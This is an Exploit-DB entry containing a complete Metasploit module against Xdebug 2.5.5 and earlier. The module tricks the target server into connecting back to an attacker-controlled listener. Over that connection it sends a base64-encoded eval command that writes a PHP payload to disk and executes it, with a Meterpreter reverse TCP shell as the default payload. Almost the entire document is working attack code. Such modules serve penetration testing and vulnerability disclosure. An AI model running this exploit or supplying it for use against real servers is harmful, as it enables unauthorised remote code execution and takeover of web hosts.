xdebug < 2.5.5 - OS Command Execution (Metasploit)

EDB-ID:

44568

CVE:

N/A


Platform:

PHP

Published:

2018-05-02

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'xdebug Unauthenticated OS Command Execution',
      'Description' => %q{
       Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
       This allows the attacker to execute arbitrary php code as the context of the web user.
      },
      'DisclosureDate' => 'Sep 17 2017',
      'Author' => [
        'Ricter Zheng', #Discovery https://twitter.com/RicterZ
        'Shaksham Jaiswal', # MinatoTW
        'Mumbai' # Austin Hudson
      ],
      'References' => [
        ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],
        ['URL', 'https://paper.seebug.org/397/']
      ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'Arch' => [ARCH_PHP],
      'DefaultTarget' => 0,
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp'
      },
      'Payload' => {
        'DisableNops' => true,
      },
      'Targets' => [[ 'Automatic', {} ]],
    ))

    register_options([
        OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
        OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
        OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
        Opt::RPORT(80),
        OptString.new('WriteableDir', [ true, "A writeable directory on the target", "/tmp"])
    ])
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => datastore["PATH"],
        'method' => 'GET',
          'vars_get' => {
          'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
       }
      })
      vprint_status "Request sent\n#{res.headers}"
      if res && res.headers.to_s =~ /XDEBUG/i
        vprint_good("Looks like remote server has xdebug enabled\n")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
      rescue Rex::ConnectionError
        return CheckCode::Unknown
    end
  end

  def exploit
    payl = Rex::Text.encode_base64("#{payload.encoded}")
    file = "#{datastore['WriteableDir']}"+"/"+rand_text_alphanumeric(5)
    cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("file_put_contents(\"#{file}\",base64_decode(\"#{payl}\")) && system(\" php #{file} \")") + "\x00"
    webserver = Thread.new do
    begin
      server = Rex::Socket::TcpServer.create(
        'LocalPort' => datastore['SRVPORT'],
        'LocalHost' => datastore['SRVHOST'],
        'Context' => {
          'Msf' => framework,
          'MsfExploit' => self
      })

      client = server.accept
      print_status("Waiting for client response.")
      data = client.recv(1024)
      print_status("Receiving response")
      vprint_line(data)
      print_status("Shell might take upto a minute to respond.Please be patient.")
      print_status("Sending payload of size #{cmd1.length} bytes")
      register_file_for_cleanup(file)
      client.write(cmd1)
      client.close
      server.close
      webserver.exit
    ensure
      webserver.exit
    end
    end
    send_request_cgi({
        'uri' => datastore['PATH'],
        'method' => 'GET',
        'headers' => {
          'X-Forwarded-For' => "#{lhost}",
          'Cookie' => 'XDEBUG_SESSION='+rand_text_alphanumeric(10)
        }
    })
  end
end